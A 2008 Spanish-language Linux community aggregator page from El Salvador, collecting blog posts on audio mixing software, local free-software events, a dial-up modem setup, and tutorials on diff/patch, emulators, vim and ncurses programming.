Era un día cualquiera y viajaba como de costumbre en uno de los populares microbúses del transporte colectivo del gran San Salvador, mientras escuchaba en la radio un remix de Zombie me llego a la mente la curiosidad de si existían programas similares al conocido VirtualDJ o Atomix para GNU/Linux.

La respuesta es si.

Después de buscar por unos momentos en Google llegamos al primer programa:

El Ultramixer, que es un programa estilo DJ para mezclar y aplicar efectos a archivos de audio.

Muy similar al VDJ y Atomix, entre las opciones se encuentras las comunes de todo Software de mezcla, aumentar y disminuir el pitch de la canción, tener las opciones de una tornamesa y así poder reproducir 2 pistas a la vez, también detalles como el loop entre otras cosas.

Lo básico para poder realizar mezclas al más puro estilo de un DJ geek.

Sin embargo también tienen peros, empezando porque no es Software libre ni es exclusivo para linux, sin embargo este ofrece 3 opciones de registro y activación siendo una de estas la free que al menos yo no vi tan mal de no ser por un aviso que se mantiene 25 segundos en cada iniciada de la aplicación.

Esta programado en java por lo cual es una aplicación algo robusta, y un problema bastante grande es que solo permite mezclar en tiempo real, en otras palabras no se pueden grabar las creaciones que hacemos..

Este problema me lleva al siguiente programa.

El Audacity que es un soft también para ediciones de audio, aunque de apariencia es menos estético que el UltraMixer es bastante poderoso.

Entre las opciones tenemos las básicas de aumentar y disminuir el pitch, recortar trozos de las canciones y moverlas a diferentes tiempos, así como aplicarle unos cuantos efectos y a diferencia del otro este si es Software libre por lo cual esta en constante desarrollo y si permite grabar y guardar las pistas modificadas. :)

Entre otras opciones como la capacidad de eliminar ruidos en archivos de audio.

Aparte que es fácil de usar y bastante intuitivo.

2 buenos programas que pueden servir a la hora de editar un archivo de audio o para simple entretenimiento en un rato de ocio puro..

El UltraMixer se puede descargar de la sección de Downloads en su web eligiendo por su puesto la descarga para linux:

www.ultramixer.com

Y el Audacity se encuentra en los repositorios (al menos los de Debian) por lo cual a mi me basto hacer un:

aptitude install audacity

:D

PD: El Sábado es el superclasico español, espero con ansias ver esa revancha de la tamporada pasada :)

11 de December de 2008

Cuando te equivocas de dirección de correo

Es feo, pero es más feo cuando por la casualidad también resulta que tu mail se fue a una lista de correos, y que luego lo indexe google y ese error quede replicado en muchos lados..

ejemplo:

http://lists.debian.org/debian-devel-spanish/2008/12/msg00004.html

Y sí, este post con el enlace talvez también ayude a google.

La mejor respuesta hasta ahora: http://lists.debian.org/debian-devel-spanish/2008/12/msg00009.html

Manuel Villatoro

Manuel Villatoro
NeoZero's (¬¬) Blog feed

FLISOL 2007 UES














Después de algunos invonvenientes en la organización de la UES para lo del FLISOL 2007 se realizó el evento con asistencia cuantiosa de interesados en los temas de Linux.

Tuvimos una afluencia de 21 registrados, mas los que no se registraron que fueron como 35 personas.

Se copiaron distribuciones Linux, se atendieron las preguntas, y apesar de las cosas en contra el evento fué satisfactorio.

Además tuvimos una linuxera femenina en la charla... ya eso es un avance en el movimiento...

Dentro de las charlas algunas cosas que gustaron fueron Gambas, Tux Paint y el CD de instalacion de Debian Etch con KDE...

Gracias a los que asistieron, a las personas que nos colaboraron, el gato, python, gaby, eduardo, goens y alguien que me presto su laptop... por que la mia tuvo problemas...

Nos vemos en otro evento...




Manuel Villatoro

Manuel Villatoro
NeoZero's (¬¬) Blog feed

Renderizado con Blender

Hace algunos dias mi hermano me pididio una demo de una futura ampliacion de la casa... so imagine como podria hacercelo... y pues aparecio blender...

Blender es una aplicacion para crear animaciones y graficos 3D....

He aqui un grafico de Debian...

Aqui unos links

http://www.blender.org/
http://es.wikibooks.org/wiki/Blender_3D:_novato_a_profesional
Manuel Villatoro

Manuel Villatoro
NeoZero's (¬¬) Blog feed

pgfouine: reporteador postgresql

Para la gente que anda en busca de una herramienta de reporteo del uso de la base de datos de postgresql he aca un herramienta que tiene:

- Generador de consultas mas lentas
- Generador de estadisticas generales
- Generador de gráficos

Puede ser una herramienta util para empresas donde se requiere rapidez en las consultas ya que con esta información podremos analizar donde se necesitan índices o donde puede cambiarse una consulta por procedimeinto almacenados.

Scraashot:





Referencias:
http://pgfouine.projects.postgresql.org/reports.html

09 de December de 2008

Melvyn Gomez

Melvyn Gomez
elsimio feed

SVLinux y sus amigos

Bonito el afiche creado por el amigo woody para SVLinux
Melvyn Gomez

Melvyn Gomez
elsimio feed

Evento LinUCA

06 de December de 2008

William Díaz

William Díaz
LEPROSYS feed

Videotutorial entrando a XChat



Descripción
Hace poco me cree un vídeo de como instalar el XChat, como también poner canales a los servidores y un añadir un servidor así rápido, les dejo el enlace al vídeo, esta en vimeo en HD.


Nota: quizás modifique el vídeo para ponerle títulos (ando corto de tiempo).

02 de December de 2008

William Díaz

William Díaz
LEPROSYS feed

4to Festival de Tecnologías Libres UES2008 y Uma08





Descripción
Con el objetivo de difundir e informar a las personas, empresas u organizaciones la Universidad Nacional de El Salvador (UES) con la ayuda de los grupos de usuarios de Debian-sv, Linux-sv, LinUES y Ubuntu-sv, Realizaran este evento. La entrada es GRATIS.

Fecha: Sábado 6 de Diciembre.
Hora: desde las 9:00 a.m.
Lugar: Salón El Espino (Primera planta de la biblioteca de las ingenierías)
Aula B11 (Edificio B, planta1, aula 1) de la Facultad de Ingeniería y Arquitectura.

Mas información acerca de la organización y ponencias: Wiki GNUsal

UMA08

Así mismo se realizara el otro evento en en la Universidad Modula Abierta de Sonsonate donde se realiza la Feria de Logro y de Trabajo.

Fecha: Sábado 6 de Diciembre.
Hora: desde las 8:30 a.m. a 5:30 p.m.
Lugar: Universidad Modula Abierta Sonsonate.

Mas información del evento: Wiki GNUsal

28 de November de 2008

tuxwarrior


En esta ocasion pondre algunas páginas que seran de mucha utilidad para los debianeros (y derivados) y algunas quizas sean de ayuda para los usuarios de software libre en general:

1- Debian Release Critical bugs:

Si alguien se pregunta cuanto falta para que una versión de debian llegue a estable aqui puede ver un buen indicador: la grafica verde representa los bugs “Release Critical” (o críticos para lanzamiento) que son los que impiden que debian sea considerada estable, cuando la grafica verde llegue a 0 o muy cerca de 0 entonces se lanzara lenny.

http://bugs.debian.org/release-critical/

2- Debian GNU/Linux device driver check page

Si aunque demos el comando “lspci” no podamos averiguar cual es el driver o el modulo necesario para usar nuestro hardware aqui lo podemos averiguar, incluso veremos si nuestro hardware esta soportado o no en linux, y si esta soportado nos dice que driver es el que lo activa.

http://kmuto.jp/debian/hcl/index.cgi

3- Debian Multimedia

No puedes reproducir algun tipo de pelicula o audio por que en los repositorios oficiales de debian no estan los paquetes necesarios? , debian multimedia es tu solución.

Aqui se compilan los paquetes que son especificamente para multmedia o que por causas de licencia no son “libres segun debian”.

Para usarlo solo hay que agregar un mirror de la pagina a nuestro sources.list y listo :D .
http://debian-multimedia.org/

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

Mandriva's bad idea: Adam Williamson out

This is a really bad idea, this guy is the face of Mandriva in the net.

26 de November de 2008

tuxwarrior


Mando un saludo a todas las personas que leen este planet y a los miembros, espero que mis post le sean de utilidad a la comunidad linux y a los usuarios de software libre en general

wvdial + k550i

Hace un tiempo nadie se preocupaba por tener acceso a Internet desde el bar de la esquina o mientras íbamos de campamento, pero ahora como que todo eso va cambiando, y ahora ya hay borrachos que prefieren cervezas en compañía del Internet, aunque sea para estar pendiente del IRC o el correo.

Así que días  atrás me puse a jugar con mi celular Sony Ericsson k550i, un móvil nada sorprendente, pero útil para ponerlo a funcionar como módem de forma fácil.

Primero, conectarlo con su cable USB y activarlo en modalidad de *Teléfono*, lo demás es simplemente esto:

wdialconf

Y luego editar /etc/wvdial.conf para colocarle los datos de nuestro ISP (el numero a marcar, el usuario y contraseña), que en mi caso luce algo así:

[Dialer Defaults]
Init1 = ATZ
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
Modem Type = USB Modem
Baud = 460800
New PPPD = yes
Modem = /dev/ttyACM0
ISDN = 0
Phone = 22677555
Password = navegante
Username = libre

Y como ultimo paso marcar con wvdial

Pues como dije antes, algo nada sorprendente pero de cierta utilidad en casos extremos.

20 de November de 2008

screenshots.debian.net

Veo que nadie puso ningún post al respecto y a mi en lo personal me parece un muy buen servicio.

Y puesto que el tema fue portada incluso de slashdot este día me parece buena idea seguir haciendo un poco de publicidad al tema; Básicamente screenshots.debian.net es un servicio web no-oficial de Debian pero muy atractivo, en el sitio se pueden encontrar screenshots de las aplicaciones incluidas en los repositorios de Debian, cualquier usuario puede colaborar subiendo screenshot de las aplicaciones a manera que el sitio contenga una buena base de datos para lograr saber que estoy instalando, o como se ve una aplicación X antes de instalarla, sin más la invitación a que suban sus screenshots al sitio.

16 de November de 2008

Planeta Linux - Anuncios

Planeta Linux - Anuncios
Blog de Planeta Linux feed

Cambios y mejoras en Planeta Linux

 Durante las últimas semanas, hemos llevado a cabo varios cambios y mejoras para Planeta Linux. Para que no pasen inadvertidos, me gustaría comentarlos a continuación:

  • Mudamos el repositorio.
Como es posible que sepas, pero quizás no, los mantenedores de Planeta Linux utilizamos un sistema de control de versiones. Hasta hace unos cuantos días, habíamos utilizado Subversion, hospedado en el servidor de Mentes Libres. Sin embargo, porque siempre es bueno probar nuevas cosas y porque a algunos de nosotros nos sentíamos más cómodos, hemos mudado el repositorio a Git, hospedado en GitHub como un repositorio público. Ésto nos permite tener un control mucho mejor del repositorio, menos problemas. Si tienen curiosidad pueden echarle un ojo al repo, clonarlo, seguirlo, forkearlo, lo que quieran. Incluso si existe la necesidad, los sindicados en Planeta Linux pueden editar ellos mismos el árbol y luego hacernos un pull request para que implementemos sus cambios directamente

  • Hemos levantado un sistema de seguimiento de tickets.
Debido a que en muchas ocasiones teníamos problemas dándole seguimiento a quienes escribían en nuestra lista de correo pidiendo ser agregados, o cambiar su feed, su hackergotchi, porque siempre estamos ocupados, hemos levantado un Request Tracker. Si tienes solicitudes de cualquier tipo para los administradores de Planeta Linux, basta con que envíes correo ahora a rt@rt.planetalinux.org.

  • Ahora sindicamos portales también.
Hay mucha gente a favor de que agreguemos portales y sitios comunitarios al rol de Planeta Linux. Pero también hay mucha gente en contra, principalmente porque la gente que lee Planeta Linux prefiere leer en el sitio los blogs de las personas, no de noticias cualesquiera. Es por eso que hemos colocado enlaces inobstrusivos en las páginas principales de cada uno de los planetas:

300_portales.png

 
Si tienen sugerencias de portales o sitios de noticias relevantes a Planeta Linux que colocar, por favor, hágannoslas llegar.

  • Nuevas instancias de Planeta Linux
  • Continuamos fortaleciendo la comunidad de Planeta Linux.
No importa si eres de Venezuela, de Colombia, de Perú, de México o de cualquier otro país donde Planeta Linux tiene presencia, hemos ido creciendo nuestra comunidad, desde el canal de IRC, nuestra página de Facebook, nuestro blog, nuestro grupo de Last.FM, nuestras actualizaciones de Twitter, etc.

  • Los feeds ahora son manejados desde FeedBurner.
Hemos moviendo nuestros feeds a FeedBurner. La transición debió haber sido completamente transparente para nuestros lectores. Este cambio nos permite obtener mejores resultados y estadísticas de las personas que nos siguen para poder seguir esforzándonos.

Y seguiremos trabajando para seguir fortaleciendo nuestra comunidad linuxera latinoamericana. ¡Gracias por estar al pendiente!

13 de November de 2008

666 Artistas

Tal como lo decía Victorino Ezequiel Ostorga en su post, eso del 666 siempre causa morbo y precisamente hoy me fijo en la cantidad de artistas indexados en mi reproductor de audio y resulta otro 666.

Apocalíptico :)

11 de November de 2008

Planeta Linux - Anuncios

Planeta Linux - Anuncios
Blog de Planeta Linux feed

Planeta Linux en IRC

 Desde hace un rato, algunos de los que hacemos Planeta Linux nos hemos reunido de vez en cuando para platicar y pasar el rato en el canal #planetalinux de irc.freenode.net.

Hoy pablasso nos hizo notar que no habíamos "oficializado" el canal, así que, aquí la invitación: Pasen al canal, tenemos galletas y groxy, el bot de maop, nos trae las últimas noticias de las instancias de Planeta Linux directamente al canal.

#planetalinux @ irc.freenode.net


Vengan, tenemos galletas

10 de November de 2008

Francisco Rivera

Francisco Rivera
El rincon de Cisko feed

Taller DebianSV

Este sábado recién pasado se retomaron los talleres por parte de la comunidad de usuarios Debian de El Salvador (DebianSV), los temas: + Nociones básicas de seguridad para mi servidor Debian GNU/Linux ( René Mayorga ) + OpenPGP ( Enrique Monge )Todo estaba listo para mi asistencia a reunirme con la comunidad, cuando el viernes me avisan que un vehículo no saldría del taller, el otro

08 de November de 2008

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

Como cambiar la contraseña de root en MySQL


mysql> UPDATE user SET Password=PASSWORD(’nueva_contraseña’) WHERE User=’root’;

29 de October de 2008

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

Porque no me gusta Canonical / Ubuntu

AdamW escribio en su blog un interesantisimo articulo en su Blog sobre Canonical, Ubuntu y los negocios con Software Libre, ojo esta en ingles los amigos de NoticiasDRAKE lo estan traduciendo, colocare en enlace cuando este listo:

http://www.happyassassin.net/2008/10/28/why-i-dont-like-canonical/

23 de October de 2008

Leer calendar, es imprescindible

Siempre es bueno leer calendar…

calendar -t 24.10 -l 0

En primera línea, o si lo prefieren…

calendar -t 24.10 | grep Boromir

De repente uno olvida que el 24 de octubre Boromir llega a Rivendel motivado por las dudas surgidas después de un sueño profético, hecho que luego sirvió para conformar la Comunidad del Anillo que tendría como objetivo principal llevar el _preciado tesoro_ hasta Mordor y destruirlo en el Monte del Destino.

Imprescindible!

17 de October de 2008

no-script

un libro cerca de mi puesto de trabajo:

No Script, definitivamente el mejor add-on para iceweasel :)

14 de October de 2008

“I can’t believe is not SPAM’

Definitivamente cómico, para ustedes desde mi mail.log :

450 4.1.8 <root@icantbelieveitsnotspam03.z>: Sender address rejected: Domain not found; from=<root@icantbelieveitsnotspam03.gizmo5.com> to=<rmayorga@debian.org.sv> proto=ESMTP helo=<icantbelieveitsnotspam.gizmo5.com>

13 de October de 2008

Francisco Hernández

Francisco Hernández
WWW.LYOKO.SV.TC » Linux feed

Proceso de parchado


Ya era hora de escribir otro tutorial :) , y elegí escribir sobre los tan comunes parches que por x razón ocupamos a cada momento.

(En GNU/Linux)

Comencemos por el concepto:

Cita wikipedia:

En informática, un parche es una sección de código que se introduce a un programa. Dicho código puede tener varios objetivos; sustituir código erróneo, agregar funcionalidad al programa, aplicar una actualización, etc.

Ahora vamos a aclarar que el patching se pueden aplicar a 2 tipos de cosas:

  • Al código fuente del programa
  • Al archivo binario (ya compilado)

Por ahora vamos a concentrarnos en el primer tipo.

/*Parcheando un código fuente*/

Supongamos que entramos a una web de algún proyecto open source, el código fuente de la aplicación que se esta creando en el proyecto esta disponible desde allí, nos ponemos a revisar el código y vemos algo como esto:

#include <stdio.h>

main() {

int *pnt;
int i, a[3]={1,2,3};

for(i=0; i<3; i++) {
pnt = &a[i];
printf(”Puntero = %d\n”, pnt);
}

return 0;

}

(Obviamente no es un programa real ni parte de ningún otro, solo un ejemplo que escribí que va a servir para demostrar el uso de los parches)

Ohh, ahí hay un error en una linea, si se compila de esa forma el programa no va a funcionar como debe.

printf(”Puntero = %d\n”, pnt);

En esa parte, hay un error en el acceso del contenido del puntero, falta el *.

Un error mínimo que no va a dar ninguna clase de problemas en la compilación pero que haría que el programa fuera inútil, sabiendo esto ¿que podríamos hacer?.

Pues una opción seria aplicarle un parche que corrija el error.

¿Como hacerlo?

En GNU/Linux disponemos de dos herramientas que hacen el trabajo extremadamente fácil.

  • diff
  • patch

Lo primero seria guardar el código fuente, como es un ejemplo, que tenga de nombre programa1.c , ahí tendríamos el programa tal cual esta con el error incluido, ahora creo otro archivo con el mismo código pero cambiado la linea del error por esta:

printf(”Puntero = %d\n”, *pnt);

De hecho ese seria el único cambio (en este caso agregar el *), el código reparado lo guardamos como programa2.c

Ahora viene la magia, diff es un programa que compara 2 archivos y muestra las diferencias de este, en este caso eso es justo lo que necesitamos.

La sintaxis:

diff programa1.c programa2.c > parche.patch

Analizando la linea notamos que compara los dos programas y las diferencias las escribe en un nuevo archivo (parche).

Ya tenemos el parche, ahora solo falta aplicarlo, esto lo vamos a hacer con otra aplicación de los sistema unix que se llama patch.

Lo que hace este es que toma las diferencias de 2 programas (el parche) y esta diferencia la aplica al archivo original.

La sintaxis:

patch -p1 -i parche.patch programa1.c

Analizando, el -p1 se puede omitir en este caso, se ocupa más que todo cuando hay parches en directorios diferentes y sirve para omitir los slash y la ruta superior, el -i viene de input y lee el archivo parche.patch

Si todo salio bien el sistema arroja este mensaje:

patching file programa1.c

Y si no hay errores el programa ya debería estar parchado :)

Ahora podemos enviarle el parche a los lideres del proyecto para que lo reparen :) .

/*Parchando un archivo binario*/

Ahora vamos al segundo caso, que pasa si el código fuente del proyecto ya fue compilado (aun con el error) y también ya fue distribuido.

Primero seria sustituir el archivo de la descarga de la web por el correcto, pero.. ¿y los usuarios? , cuando son programas muy grandes no se les puede decir que desinstalen todo y vuelvan a bajar el programa y después volver a instalarlo, en este caso es mejor aplicarle un parche que solucione el error.

Tomando como ejemplo el mismo programa, el mal acceso al contenido del puntero hace que muestre datos completamente diferentes a lo que debería:


:|

¿Como generar el parche?, pues relativamente es bastante fácil, y vamos a usar las mismas herramientas que cuando parchamos el código fuente.

Como anteriormente teníamos el código fuente original (con el error) programa1.c y el código reparado programa2.c, vamos a compilar los 2 código para generar 2 binarios.

gcc programa1.c -o programa1

gcc programa2.c -o programa2

Ahora vamos a compararlos de esta manera y a generar el nuevo parche:

diff -a –binary programa1 programa2 > patch

Revisando el comando, diff es la aplicación, el -a indica que va a tratar los archivos como texto y va a comparar linea por linea, el –binary que va a ser una comparación binaria y el parche va a ser de la misma forma, programa1 y programa2 son los archivos ya compilados y el > parche indica que la comparación va a generar un parche de nombre parche (xD) .

Con eso ya tenemos todo listo, ¿como lo aplicamos?.

Pues bastante parecido al ejemplo anterior y siempre usando patch.

La sintaxis del comando en este caso resulta bastante simple:

patch –binary programa1 parche

patch es la aplicación encargada de parchar, –binary que va a ser un trabajo binario, programa1 es el fichero al cual le vamos a aplicar el parche y parche es el nombre con el que guardamos el patch (todo debe estar en el mismo directorio).

Si tenemos éxito en estos 2 pasos tendríamos que tener algo parecido a esto y con buenos resultados :D :

Ya sirve!!

En caso de que quisiéramos facilitarle aun más el trabajo al usuario y evitar que se ponga a ejecutar comandos podríamos hacer todo automáticamente con un pequeño script en bash:

#!/bin/bash

cd /ruta donde se encuentra el binario/

wget www.webdelproyecto/parche

patch –binary programa1 parche

y con eso solo tendría que ejecutar el scrpt.

P.e: ./parcheprograma.sh

Como se dieron cuenta es un tutorial sencillo, sin muchas complicaciones pero que se puede ampliar mucho más dependiendo la cantidad de ficheros que queramos parchar el modo de hacerlo entre otras cosas, pero esto sirve como algo introductorio, hay muchos más parámetros de estas 2 herramientas que pueden conocer leyendo los manuales de estos :

man diff

man patch

:D

Y con esto termina todo, un saludo a los que leen.

Referencias:

Parche (computación)

/* By Lyoko

www.lyoko.sv.tc xD */

11 de October de 2008

Centro América y El Software Libre

A vario rato de haber nacido la lista de SL-Centroamérica y varios rato de tratar de crear lazos entre las comunidades de la región, que a ciencia cierta es una región bastante pequeña y geográficamente accesible; se comienza a ver ya un poco de frutos, gracias a los contactos que se lograron y a la gente con tan buena disposición, los lazos entre los grupos de usuarios de la región parecen estar mucho mejor que hace 3 o 4 años.

Justo hace un par de semanas logramos coincidir varios amigos de la región, gente de Nicaragua, El Salvador y Venezuela y el Congreso Guatemalteco de Software Libre; lo cual fue muy bien, pues resurgió de nuevo la idea de organizar un encuentro o una Jornada regional de Software libre donde participen los grupos de usuarios de la región.

Por ahora el tema se vuelve a retomar, se creo ya una lista de correo que hospeda la gente de Costa Rica y la Gente de Nicaragua se ofreció ya a ser los primeros organizadores.

Las fechas proyectadas son para Junio de 2009, por lo que estamos a buen momento de organizar un muy buen evento y convocar participación de la gente de la región.

Espero seguir dando avances del tema, y espero en su momento poder invitar más gente a que se una al evento cuando esto este más organizado prometo postear más detalles :)

por ahora se puede ver un poco de la organización y de la información en el sitio http://sl-centroamerica.org

09 de October de 2008

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

Mandriva 2009 ha sido liberada

Mandriva Linux 2009 fue liberada el dia de hoy. Se pueden descargar sus diferentes versiones desde BlogDRAKE:

http://blogdrake.net/descargar-mandriva

07 de October de 2008

David Mejia

Ubuntu 9.04, OMG!!!!

La verdad los codenames de ubuntu cada día me sorprenden aun más :mrgreen:

Prefiero los personajes de Toy Story de Debian :D

Saludos!!

(vía geeksaresexy)

Francisco Hernández

Francisco Hernández
WWW.LYOKO.SV.TC » Linux feed

Super Mario Bros 3


Bueno, una entrada dedicada a unos grandes clásicos :)

Hace cuanto tiempo el SNES estaba en su apogeo aquí en el país?, unos 11 años?

Si algo recuerdo bastante bien es que en esos tiempos mis tíos vivían bastante cerca de mi casa, así que varios tardes de la semana la pasábamos con ellos, a mi me gustaba bastante porque me dejaban jugar con su Super Nintendo :) , si, cuanta diversión me traia un juego que ahora es mítico y que se llamaba Donkey Kong Country.

Simplemente para un niño de 7 años pasar casi toda la tarde jugando eso era lo mejor que podía existir, ¿pero por qué hablo de esto aquí?.

Porque hasta hace poco me di cuenta que existe un emulador del SNES Para Linux de nombre ZSNES xD, en la web oficial del proyecto esta la descarga de las fuente para compilarlo uno mismo.

Cosa que me dispuse a hacer pero que me dio error porque tenia que compilarlo usando una versión del gcc menor a la que yo tengo instalada, entonces pase un buen rato buscando una solución para eso y no tener que hacer el downgrade.. Después de varias búsquedas con google, probar algunos parches (Creo que la próxima entrada del blog va a ser sobre este tema) y otras cosas, me di cuenta que el ZNES estaba en los repositorios :D jaja, hasta ya estaba pensando que después de compilarlo lo iba a empaquetar en un .deb y después lo iba a subir a Internet para ponerlo a disposición de cualquiera :S .

Entonces.. ya no era necesario compilarlo sino que solo instalarlo con el aptitude:

aptitude install zsnes

Claro que ahora con el emulador instalado, necesitaba buscar algunos juegos y como es obvio el primero que fui a buscar fue el favorito de mi niñes, después de pasar por unos cuantos lugares encontré el ROM listo para ser descargado, luego de un rato ya estaba jugando otra vez con Donkey Kong:

Pero al parecer el ZSNES da problemas con el sonido pero que se puede solucionar instalando esto:

libsdl1.2debian-oss

Y cargando el emulador con estos parámetros:

zsnes -ad sdl

Pero retrocediendo un par de años, mi diversión no era el SNES si no que el histórico NES :

Já , quien no se va a acordar de eso, el icono de este era el recontra conocido juego de Super Mario Bros, y ahora viene el porque del titulo del blog.. Me entere que en aquel juego existe un error de programación, quizá no error pero si un nivel que probablemente era con el que los desarrolladores testeaban el juego y que olvidaron eliminarlo o no lo quisieron hacer.

El famoso mundo -1 o el minus world, un nivel donde solo se puede llegar atravesando una pared y después entrar por una tubería y automáticamente llegas al mundo negativo, donde por más que llegues al final este te regresa al principio quedando en un bucle infinito donde al pasar los segundos se muere por la falta de tiempo.

Se puede leer bastante de eso en este post de Taringa!.

Al saber esto por supuesto que quería probarlo yo mismo, por lo que me puse a buscar un emulador de NES para Linux y encontré el iNES, este si no esta los repositorios por lo que hay que bajarse los binarios desde la web y correrlo con la terminal de esta manera:

./ines32 nombredelrom.nes

Para ver la ayuda del programa se hace asi:

./ines32 -help

Ya con el emulador y con el Rom de Mario también listo me puse a intentar llegar al minus world sin éxito alguno xD

Pero en el pack donde venia el Rom del Super Mario no venia solo, también venia el Super Mario 2 y 3.

Este ultimo mi favorito de esta consola, y también el juego que más me pudo enviciar en aquellos tiempos, que a pesar de no ser un juego con gráficas sorprendentes como los de ahora, de tener un control rectangular con solo 8 botones que hacia que dolieran los dedos al pasar el tiempo, tenia ese toque que podía hacer que todo niño se sintiera feliz con estar jugándolo.

Cuando me puse a jugarlo y escuche todos los sonidos y la música del juego por un momento sentí como si hubiera retrocedido el tiempo por unos segundos y otra vez tuviera 6 ó 7 años y estuviera una tarde en mi casa pasando uno de aquellos momentos de calidad :) -

Grandes clasicos, parte de la historia y que siempre valen la pena recordarlos.

06 de October de 2008

Planeta Linux - Anuncios

Planeta Linux - Anuncios
Blog de Planeta Linux feed

Planeta Linux en last.fm

Se ha creado el grupo Planeta Linux en last.fm, así que los usuarios de dicho servicio están cordialmente invitados a unirse.

¡Únanse!.

Francisco Rivera

Francisco Rivera
El rincon de Cisko feed

Campus Party Iberoamerica El Salvador 2008

Campus Party es reconocida como el mayor evento de tecnología, ocio electrónico y cultura digital en red del mundo. Este encuentro anual reúne durante siete días a miles de participantes con sus ordenadores con el fin de compartir inquietudes, intercambiar experiencias y realizar todo tipo de actividades relacionadas con las comunicaciones y las nuevas tecnologías. El factor humano es el corazón
Francisco Rivera

Francisco Rivera
El rincon de Cisko feed

17 años de Linux

“Como ya comenté hace un mes, estoy trabajando en una versión gratuita de un sistema similar a Minix para ordenadores AT-386. Por fin ha alcanzado el estado en el que es incluso usable (aunque puede que no lo sea según lo que quieras), y estoy dispuesto a ofrecer el código fuente del mismo para que se distribuya de forma más amplia. Es únicamente la versión 0.02… pero he ejecutado bash, gcc,

01 de October de 2008

Francisco Hernández

Francisco Hernández
WWW.LYOKO.SV.TC » Linux feed

Vim


En la entrada anterior puse una captura de mi vim, pero que no coloreaba las funciones (en ese momento no sabia por qué había dejado de hacerlo xD).

Resulta que anteriormente ya había reinstalado vim pero no fue solo una reinstalación sino que también le pase el parámetro –purge (borre toda la configuración y la deje como estaba por default), y para que vim coloree como debe de ser hay que descomentar un par de lineas de este archivo:

/etc/vim/vimrc

Descomentar la linea:

syntax on

Y también:

set background=dark

Guardar y con eso ya debería mostrarse como debe:


:)

27 de September de 2008

Planeta Linux - Anuncios

Planeta Linux - Anuncios
Blog de Planeta Linux feed

¡Por fin creado!

Planeta Linux ya tiene blog. Espero que la gente de Planeta Linux tenga a bien usar este servicio para anunciar cosas interesantes, presentar a nuevos suscritos, publicar features, etc. Gracias por el apoyo.

26 de September de 2008

Francisco Hernández

Francisco Hernández
WWW.LYOKO.SV.TC » Linux feed

Turbo C


El titulo esta algo dramático pero sirve para llamar la atención :) ..

Como un pequeño offtopic:

No se como paso pero se habían borrado los comentarios de aproximadamente los últimos 15 días , sepa si moví algo sin querer pero de que paso, paso, pero por suerte el lunes pasado me decidi a sacar el primer backup del blog xD, (si, el primero) , gracias a eso puede restaurar esos comentarios desde el phpmyadmin :) .

Ahora al tema principal:

Una de las virtudes del humano es el poder evolucionar y progresar a cosas mejores, es nuestra naturaleza y se aplica incluso a la informática. Los tiempos cambian y la era en la que MSDOS era el único rey ya termino, sin embargo y por desgracia todavía quedan secuelas de ese “reinado” y un claro ejemplo es el uso que todavía se le sigue dando al mítico TURBO C , y que muchos todavía nos vemos obligados a escribir programas exclusivos para windows en las universidades y/o trabajos.

Para los que estan relacionados con el medio les va a sonar familiar la librería conio.h, si, esa misma cabecera de borland que usamos a cada momento para escribir los programas en modo texto y para ocupar las famosas funciones, getch(), clrscr(), gotoxy(x,y), y que es el impedimento #1 de porque no es común tener programas portables de windos a linux..

(conio.h no es una librería de GNU/Linux).

¿Entonces ante esta problemática que se puede hacer?.

Para nuestra fortuna y como era de esperarse ya pensaron en eso y tenemos una gran alternativa al conio.h, borland y al turbo c que se llama Ncurses, me voy a ahorrar el trabajo de dar el concepto porque ya esta explicado en la wikipedia, asi que solo estan a un click de conocerlo :) .

La instalación es fácil en debian y derivados, basta con hacer:

apt-get update

apt-get install ncurses*

Ahora, un programa sencillo que use ncurses seria uno que te pida el nombre y después lo imprima en pantalla xD (uy) .

En ncurses la sintaxis es similar a si estuviéramos usando el stdio.h y conio.h, sin embargo hay algunas cosas nuevas que le dan más potencia a curses y que hacen que varien algunas cosas un poco con respecto a lo que estamos acostumbrados.

A lo bueno (escribir un programa usando ncurses) :

Lo primero y obvio incluir la cabecera en el programa:

#include <ncurses.h>

después viene la declaración de la función principal, la variable del tipo char y ahora algo importante que es iniciar la pantalla que se hace con la función initscr() , podemos borrar los datos que ya pudieran estar en la pantalla con erase() (vendría siendo el equivalente al clrscr() del conio.h)

La impresión se hace con printw(), y la sintaxis es la misma que el printf(), la lectura de datos se hace con scanw() y la sintaxis es la misma que el scanf(), por ultimo si queremos esperar un caracter del teclado se hace lo mismo que en turbo c, getch(), ahora algo importante también, cerrar la ventana con endwin() y sin olvidar el común return 0 .

queda de esta forma:

Nótese que estoy usando nada más el gedit que viene incluido en gnome, no necesito más.. después solo es cuestión de guardar el programa con una extensión .c

Si quisiéramos sentirnos más leets a la hora de programar podemos usar el vim para codear en la misma consola:

/* No se porque no me coloreo las funciones ni resalto nada :| , pero en un vim sin problemas se ve bastante bien xD */

¿Y como se viera el programa compilado y ejecutado?

/* Para compilar (via terminal):

gcc ncurses.c -o ncurses -lncurses

gcc es el compilador de linux, ncurses.c es el código fuente del programa ncurses es el nombre con el que se va a guardar el programa y el -lncurses es para obligar al compilador a usar la librería. */

Bonito verdad? :) , ese mismo programa se podría hacer en turbo c usando las librerías nativas de el:

Y ejecutándolo:

Pero esta no es toda la grandeza de usar ncurses, sino que es mucho más potente y amplio que usar conio.. con ncurses se pueden hacer las mismas cosas que con conio y mejor, p.e:

El uso de colores en la consola, permite hacer programas que funcionen con pestañas :D , entre otras cosas. Espero poder enseñarles otro programa en alguna otra entrada cuando ya haya ampliado más el tema :) .

Para ver la documentación se puede con:

man ncurses

Y para ver la documentación de las funciones que este trae con:

man función

Hablando un poco del entorno de programación si a alguien no le gusta usar gedit o vim siempre pueden hacerlo por medio de anjuta para más comodidad :)

El tema de ncurses es largo, hay documentación en Internet pero a mi parecer todavía esta deficiente, asi que yo también ando en la búsqueda de encontrar información mas completa, pero por el momento y si les interesa siempre se le puede preguntar al gran google.

¿Pero los programas escritos usando ncurses como los podemos usar en Windows?

Pues se puede con PDCurses pero el tema lo dejo para otra entrada del blog, porque creo que ya se agrando mucho esta xD

—–

Una de las frases que más he escuchado durante toda mi vida por parte de mi familia, es que en un medio laboral competitivo los que logran algo son los mismos que han logrado diferenciarse del resto, entonces lo mejor es siempre aprender cosas nuevas y por qué no transmitirlas a gente que les interese tanto como a mi? :)

Saludos a los que leen !

25 de September de 2008

